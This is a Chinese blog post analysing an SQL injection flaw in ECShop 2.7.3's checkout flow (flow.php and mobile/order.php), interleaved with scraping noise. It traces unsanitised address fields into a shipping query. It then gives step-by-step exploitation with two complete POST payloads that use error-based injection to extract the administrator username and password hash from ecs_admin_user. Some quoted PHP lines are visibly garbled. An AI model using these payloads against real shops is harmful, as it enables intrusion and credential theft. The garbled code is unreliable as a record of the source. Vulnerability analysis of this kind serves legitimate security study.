ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
6 s$ B" f1 ]1 E$ c" j+ b  Z( D% V
    漏洞关键文件：

8 y/ @3 c8 h) y/ y. w    /includes/lib_order.php
! ^5 g" f. B1 x% D
    关键函数：

! d0 f, V; j5 |+ z2 [
$ s. a8 d$ ]) K$ N
01     function available_shipping_list($region_id_list)

02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

' w; R2 X# _: @# w6 k, p, W2 F. u04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
& V9 O- y# @  E3 H, ?; G5 x
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

, K8 n2 ?. v0 H) z- F07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

4 R5 j& ?3 ]/ l; E8 `# x5 M08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. R0 I& X/ a7 [: Z# Y" s
10   

11     return $GLOBALS['db']->getAll($sql);
" c" Q) a* ?# j# b( @) l
8 n, [: C. y/ L12 }

& O6 Z' |6 z0 i! Y2 D7 s% X* [显然对传入的参数没有任何过滤就带入了查询语句。

7 _& r( R( W" K8 o下面我们追踪这个函数在flow.php中：
  Q# o9 q! J" l$ O! b$ u 第531行：   
" K( G+ l# R# O8 r! H% `
5 |' H5 y7 c1 n* a+ d0 z$ t6 x1 $shipping_list     = available_shipping_list($region);
) `! k4 {! L, r6 |: g" T
4 K  @* w2 [) ^! V



$ x1 ~, o0 I& c再对传入变量进行追踪：

5 A+ f" D( C: @2 f+ ?) z$ }. F第530行：   

; \* E2 C2 P0 C. y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
7 E) v/ j  g5 k! q8 _7 I




; P5 X) p0 y% [  Y0 d第473行：        

. b; _0 L: x3 r! x" ]2 r# P$ B9 j, G1 $consignee = get_consignee($_SESSION['user_id']);

. r/ ?( e; x& g- W' v0 A0 X% }到了一个关键函数：

/includes/lib_order.php
- k2 H) w2 ]/ j9 Z
% a( B/ P9 ~8 ?, s  j9 Z, [

; w1 A+ U$ v( V6 e" \

01 function get_consignee($user_id)
4 C! l) U0 U" E6 l' K) w- r+ n
7 Q& C5 F% n% B  A: n5 o, m02 {

3 ]. `6 `+ P/ \$ H' Q9 W03     if (isset($_SESSION['flow_consignee']))
) N0 {% k0 }7 ^/ D/ n+ M* F
3 O8 ~3 u% \5 }' r5 P" ?/ ^04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

; d0 f1 `4 X% ~' J; r4 K: q5 }0 f  ]06   
( X. l) K0 D- }1 s1 Y% ~( n0 k' ~
07         return $_SESSION['flow_consignee'];
' M; Z# P4 Y1 V
* e  I6 n# K' L1 T$ A08     }

; s2 [% P- ^  _! N# G2 x: X5 q) p09     else

5 C/ N! `- U# \) w( e: e2 c9 X10     {
+ [3 {# {. [/ d
11         /* 如果不存在，则取得用户的默认收货人信息 */

! s$ K- v# e7 V12         $arr = array();
8 d  D! ?& ^0 G3 u- B9 a$ }& l
. W7 J% J, J, f+ F, G+ |: _( b$ C13   

/ o) D2 m0 t' E1 ^$ o6 w- o% \( X14         if ($user_id > 0)
; c4 n; z% ?% P- Z, z/ ]
' B. N& x1 b7 J& y: }8 z- t" D; O15         {
/ Y1 z: B4 L8 p( i( \
* n/ {3 c* f+ ?1 B' f, q16             /* 取默认地址 */

( R, y$ P; l* c+ m/ o7 m17             $sql = "SELECT ua.*".
1 r0 m* ?  ?+ j7 S" P
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

) A7 G2 E1 F( D, l19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
8 V1 Z5 p- n( F$ d( t2 A
20   

1 M0 d& E+ W3 ^7 C, g9 J21             $arr = $GLOBALS['db']->getRow($sql);

2 g8 O& P7 K, ]! Q) Z# U% H22         }
' B( y; X$ d! p4 D' J3 Q
0 H1 H6 c+ |' D7 |& o- y+ r23   

24         return $arr;
( V+ g- e! ]1 R: e* o4 |9 I. V
25     }

26 }
; |1 N& Y) s3 A* |6 t
# I+ C  [6 X; Q$ w$ z; {1 Y' _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。

6 B( J( @6 v# z% g$ j0 n
/ C' d$ U0 l0 Z4 c: y6 n
然后看下：
4 u4 P/ H% v" X+ g


& [8 V; _( [; w* q' w& j6 V. Q/ H; V   
5 J$ T. P% O8 l; Q1 X
, B3 r  _+ A# {01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

6 T5 I, u3 {# k2 C; s( v# u5 X03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

* k* A" {# a( Z2 d05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! I( ]: O* ~! o; {
6 {6 ?5 x( o& k06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

! u* [, ^( ]9 g9 ?: S08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
& U, X$ @8 Z9 v) T* Z
) n5 @2 Y6 C- @! n# f09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
2 z0 H% g5 H" z! g0 L6 ]
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
& y+ ^% x/ ]1 t% n0 y; y' }
& f0 r. F$ }3 a& r: Y0 x12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
' g0 G4 j, R+ f0 @$ x, v
' H* V' V) M# H$ s+ D13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

. q! j6 m, a* `( T14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
# |4 y$ d9 ^+ u
7 ^4 R, K" q! Q0 q! \& m好了注入就这样出现了。
! z% u, }0 m$ f& h; _
6 G: `' Z: ~) }: A( v2 J# D==================

5 `# |* S3 {( O. P. L' y5 j注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
. f. w" N5 q# b# n. K3 R' y
测试程序：ECShop_V2.7.3_UTF8_release1106

7 R# K: N/ I, J5 O

1.首先需要点击一个商品加入购物车
9 \1 p: c8 L  f0 G* P* |
2.注册一个会员帐号

6 t0 l! g0 @! M/ r3.post提交数据


6 g' g- D4 C2 a4 u4 p
0 U+ U- ~* @" @" w* k. y/ o1 http://127.0.0.1/ecshop/flow.php
4 l( D1 j+ b! b" t1 z7 E
% @& L" Y, d- e+ g- F2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
; K3 [9 j( W! I! ~举一反三，我们根据这个漏洞我们可以继续深入挖掘：
* Q" J: j" G  ?3 _; j- t" ^
1 ]% L6 U- K( x' A) w9 L6 O我们搜寻关键函数function available_shipping_list()
6 N- F# X9 J* g' f$ x& W; T
- h+ L5 q4 K$ b: G' r6 j8 N在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

+ I/ s. E& a7 j利用exp:
9 J% K) ]6 t: j1 G, A' g# r
1.点击一个商品，点击购买商标
9 ~) d# }8 D0 B6 ^  N2 @% C
7 O+ u0 F! J2 h2.登录会员帐号

3.post提交：

# [' R( {% K( b, g) w4 m9 c3 T  Jhttp://127.0.0.1/ecshop/mobile/order.php
9 E/ t# U5 r8 t0 X
: {+ \) h0 h8 f) n4 f& {* t: P
# L$ p. [) r/ |6 `
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

3 O" w& y  Z+ [# p  \  A